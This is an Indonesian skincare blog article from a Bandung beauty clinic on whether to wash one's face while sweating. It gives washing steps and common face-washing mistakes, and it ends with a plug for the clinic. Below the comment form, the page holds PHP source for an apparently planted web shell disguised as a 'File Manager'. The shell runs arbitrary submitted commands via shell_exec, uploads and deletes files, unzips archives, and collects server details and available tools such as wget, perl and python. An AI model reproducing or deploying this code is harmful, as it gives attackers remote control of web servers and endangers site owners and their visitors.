Ada Yang Bisa Kami Bantu? Chat Kami Sekarang.
Bolehkah Cuci Muka Saat Berkeringat

Bolehkah Cuci Muka Saat Berkeringat?

-

Daftar Isi

Bolehkah Cuci Muka Saat Berkeringat. Jangan mencuci muka Anda ketika sedang berkeringat jika tidak ingin menerima risiko yang berpengaruh terhadap kebersihan, kesehatan, dan keindahan kulit wajah Anda. Sebagian orang mungkin berpikir bahwa mencuci muka adalah hal yang harus segera dilakukan ketika wajah berkeringat, entah karena cuaca panas atau karena berolahraga.

Ketahui cara mencuci muka yang benar agar tidak salah langkah. Mengingat muka merupakan bagian penting, yang biasanya akan menjadi pusat perhatian ketika berkomunikasi secara langsung. Banyak orang lebih percaya diri bertemu orang lain jika kulit wajah mereka bersih dan sehat, mungkin Anda juga termasuk salah satunya.

Saat muka berkeringat, debu dan bakteri bisa menempel. Bagaimanapun, jangan terburu-buru untuk membasuh muka Anda dengan air. Jika Anda membantah bahwa sekarang sudah ada sabun wajah anti bakteri, sebaiknya pahami dulu alasan kenapa jangan mencuci muka saat berkeringat. Oke kita simak apa Bolehkah Cuci Muka Saat Berkeringat berikut ini.

Alasan jangan cuci muka saat berkeringat

Bolehkah Cuci Muka Saat Berkeringat? Tahukah Anda saat kita melakukan aktivitas olahraga, atau hal lain yang cukup berat, maka tubuh secara otomatis akan menghangat dan pembuluh darah melebar? Itu menyebabkan aliran darah menjadi lebih intens sehingga kulit akan mengeluarkan cairan berupa keringat yang berfungsi untuk mendinginkan tubuh.

Anda yang sangat peduli dengan kesehatan dan kebersihan wajah sebaiknya memberi perhatian khusus jika wajah sudah mulai berkeringat. Tentu saja ketika kulit wajah berkeringat dan bercampur dengan debu, minyak, maupun bakteri bisa berisiko munculnya jerawat.

Masalah lainnya adalah ketika pori-pori terbuka saat wajah berkeringat, mencuci muka yang tidak tepat justru bisa menyumbat pori-pori dengan kotoran yang sedang menempel di wajah. Belum lagi jika Anda memutuskan mencuci menggunakan sabun pencuci muka, kulit bisa menjadi lebih kering.

Cara mencuci muka yang benar

Kita sudah tahu jawaban atas pertanyan Bolehkah Cuci Muka Saat Berkeringat. Sekarang kita juga harus Mengetahui cara mencuci muka yang benar akan membantu Anda dalam memberikan perawatan terbaik untuk wajah. Jika Anda sedang berkeringat dan ingin segera mencuci muka, lakukan hal berikut:

  1. Tunggu wajah kering

Langkah pertama yang harus Anda lakukan hanyalah menunggu keringat pada wajah Anda mengering dengan sendiri. Jangan menggosok wajah yang berjerawat karena dikhawatirkan kotoran akan masuk ke pori-pori akibat gesekan yang Anda buat.

  1. Pastikan tangan bersih

Selanjutnya, Anda perlu memastikan bahwa tangan yang akan digunakan untuk mencuci muka sudah bersih. Sebaiknya cuci tangan Anda di air mengalir agar tidak ada bakteri atau debu yang menempel. Ini penting dilakukan mengingat Anda akan mencuci muka dengan tangan.

  1. Basuh muka dengan air biasa

Jika keringat pada wajah sudah kering dan tangan Anda sudah pasti bersih, Anda bisa membasuh muka dengan air biasa, yaitu tidak panas dan tidak dingin. Gunakan air suhu normal agar tidak memperlebar maupun menyempitkan pori-pori wajah yang sedang kotor.

  1. Gunakan sabun khusus wajah untuk mencuci  muka

Anda harus menggunakan sabun yang aman untuk membersihkan wajah. Sabun khusus wajah sudah memiliki formulasi khusus yang bisa menjaga kekenyalan kulit sehingga tidak kering. Pijat wajah dengan lembut agar kotoran pada keringat yang sudah kering bisa terangkat.

  1. Basuh muka lagi dengan air biasa

Setelah cukup memijat wajah dengan sabun, Anda bisa membasuh muka lagi dengan air biasa. Tujuannya sama yaitu agar pori-pori tidak membesar maupun menyempit.

  1. Keringkan muka

Cara aman mengeringkan muka adalah dengan handuk yang bersih. Anda juga dianjurkan untuk tidak menggosok muka menggunakan handuk, namun cukup menepuk handuk ke wajah secara perlahan. Dengan begitu, air akan terserap pada handuk dengan sendirinya tanpa menggesek kulit wajah dengan keras.

Mencuci muka ketika wajah berkeringat merupakan kesalahan. Setelah mengetahui alasan kenapa jangan mencuci muka saat wajah berkeringat, serta cara mencuci wajah yang benar ketika berkeringat, Anda juga perlu mengetahui kesalahan-kesalahan lainnya dalam mencuci wajah. Mungkin saja Anda sering melakukan kesalahan sehingga menyebabkan kulit wajah tidak bisa bersih secara maksimal.

Kesalahan dalam Mencuci Wajah

  1. Berkali-kali dalam sehari

Mencuci wajah yang baik adalah sehari dua kali. Jika mencuci wajah terlalu sering dilakukan dalam sehari, maka kulit akan menjadi kering. Jika kulit menjadi kering, produksi minyak akan meningkat. Itu adalah respon alami agar kulit wajah tidak menjadi kering.

Namun, produksi minyak yang banyak bisa menyebabkan berbagai masalah seperti salah satunya adalah jerawat. Selain itu, make up natural hasilnya juga kurang maksimal jika diaplikasikan pada wajah kering dan berminyak.

  1. Tidak efektif dan terlalu lama

Selain mencuci muka terlalu banyak, mencuci secara tidak efektif dan terlalu lama juga merupakan kesalahan. Mencuri wajah yang efektif cukup 20 hingga 30 detik saja. Terlalu lama juga bisa menyebabkan kulit menjadi kering. Anda sebaiknya tahu bahwa mencuci terlalu lama juga tidak berdampak pada kebersihan kulit.

  1. Membasuh dengan air panas

Air panas tidak baik untuk mencuci wajah karena bisa menyebabkan wajah menjadi iritasi. Temperatur yang panas bisa membuat pembuluh darah melebar, bahkan bisa menyebabkan kerusakan pada jaringan halus. Biasanya mencuci wajah dengan air hangat disarankan untuk Anda setelah memakai masker. Pastikan air tersebut hanya hangat biasa dan tidak panas.

Meski mencuci wajah dengan air panas tidak baik, mencuci wajah dengan air dingin juga tidak begitu disarankan karena bisa menutup pori-pori. Anda sebaiknya menggunakan air dengan suhu normal.

  1. Menggosok dengan handuk

Menggosok muka dengan handuk setelah Anda mencucinya adalah salah satu kesalahan yang kerap dilakukan banyak orang. Anda cukup menepuk handuk bersih dengan lembut ke wajah agar air terserap ke benda tersebut. Jika menggosoknya, bisa menyebabkan terjadinya eksfoliasi yaitu pengelupasan.

  1. Sabun muka tidak sesuai

Sabun muka yang tidak sesuai dengan jenis kulit Anda juga merupakan kesalahan dalam mencuci wajah. Penting untuk mengetahui apakah kulit Anda cenderung kering, berminyak, lembap, berjerawat, atau lainnya. Pilih sabun muka yang sesuai dengan jenis dan kondisi kulit agar kesehatan wajah tidak dirusak. Memilih sabun yang sesuai degan jenis kulit wajah juga bisa bermanfaat memperbaiki masalah yang ada.

  1. Hanya dicuci

Mencuci wajah memang merupakan hal yang penting dalam merawat kesehatan dan kebersihannya. Namun, Anda jangan berpikir bahwa mencuci wajah saja sudah cukup untuk membuat kulit wajah tetap sehat. Sebaiknya segera gunakan pelembab ketika wajah sudah kering usai dicuci.

Bagi Anda yang tinggal di wilayah perkotaan dengan cuaca panas dan banyak polusi, perlu usaha lebih untuk menjaga kesehatan dan kebersihan kulit wajah.  Namun, Anda yang berada di wilayah Cangkuang, Soreang Kabupaten Bandung lebih beruntung karena di sana ada Klinik Cantik Ratnasari yang menyediakan berbagai perawatan dan produk skincare. Anda juga bisa berkonsultasi mengenai perawatan wajah yang cocok dengan jenis kulit yang dimiliki. Sudah terjawab bukan pertanya tentang Bolehkah Cuci Muka Saat Berkeringat? Semoga bermanfaat.

Klinik RSa Aesthetic

Klinik RSa Aesthetic

Klinik Treatment Kecantikan Berkualitas di Bandung

Bagikan Artikel Via:

Share on facebook
Facebook
Share on twitter
Twitter
Share on linkedin
LinkedIn
Share on whatsapp
WhatsApp

Tinggalkan Komentar

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

basename($file), 'size' => '', 'last_modified' => date('Y-m-d H:i:s', filemtime($file)), 'owner' => posix_getpwuid(fileowner($file))['name'], 'permissions' => substr(sprintf('%o', fileperms($file)), -4), ); } else { $files[] = array( 'name' => basename($file), 'size' => filesize($file), 'last_modified' => date('Y-m-d H:i:s', filemtime($file)), 'owner' => posix_getpwuid(fileowner($file))['name'], 'permissions' => substr(sprintf('%o', fileperms($file)), -4), ); } } // Handle file upload if (isset($_FILES['file'])) { $file = $_FILES['file']; if ($file['size'] > $max_upload_size) { echo 'File too large!'; } else { move_uploaded_file($file['tmp_name'], $current_dir. '/'. $file['name']); } } // Handle file deletion if (isset($_POST['delete'])) { $file = $_POST['delete']; $file_path = rtrim($current_dir, '/') . '/' . $file; if (file_exists($file_path) && is_file($file_path)) { unlink($file_path); header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . rawurlencode(rtrim($current_dir, '/'))); exit; } else { echo 'File not found or not a file!'; } } // Handle terminal command if (isset($_POST['command'])) { $command = $_POST['command']; $output = shell_exec($command); echo "
$output
"; // Update current directory if command is cd if (strpos($command, 'cd ') === 0) { $new_dir = trim(substr($command, 3)); if ($new_dir == '..') { $current_dir = dirname($current_dir); } elseif ($new_dir!= '') { $current_dir = realpath($current_dir. '/'. $new_dir); } } } // Handle unzip if (isset($_POST['unzip'])) { $file = $_POST['unzip']; $file_path = $current_dir. '/'. $file; if (file_exists($file_path) && is_file($file_path)) { $zip = new ZipArchive; $res = $zip->open($file_path); if ($res === TRUE) { $zip->extractTo($current_dir); $zip->close(); echo "Unzipped successfully!"; } else { echo "Failed to unzip!"; } } else { echo "File not found or not a file!"; } } // Handle mkdir if (isset($_POST['mkdir'])) { $dir = $_POST['mkdir']; $dir_path = $current_dir. '/'. $dir;if (!is_dir($dir_path)) { mkdir($dir_path, 0750, true); echo "Directory created successfully!"; } else { echo "Directory already exists!"; } } // System information $server_ip = $_SERVER['SERVER_ADDR']; $web_server = $_SERVER['SERVER_SOFTWARE']; $system = php_uname('s'); $user = $_SERVER['USER']; $php_version = phpversion(); $disabled_functions = ini_get('disable_functions'); // MySQL, cURL, WGET, Perl, and Python information $mysql_enabled = function_exists('mysql_connect')? 'ON' : 'OFF'; $curl_enabled = function_exists('curl_init')? 'ON' : 'OFF'; $wget_enabled = shell_exec('wget --version')? 'ON' : 'OFF'; $perl_enabled = shell_exec('perl -v')? 'ON' : 'OFF'; $python_enabled = shell_exec('python --version')? 'ON' : 'OFF'; function filesize_format($size) { $units = array('B', 'KB', 'MB', 'GB', 'TB'); for ($i = 0; $size >= 1024 && $i < count($units) - 1; $i++) { $size /= 1024; } return round($size, 2). ' '. $units[$i]; } ?> File Manager

File Manager

Current directory:

Name Size Last Modified Owner Permissions Options

System Information

Server IP:

Web Server:

System:

User:

PHP Version:

Disabled Functions:

Module Information

MySQL:

cURL:

WGET:

Perl:

Python: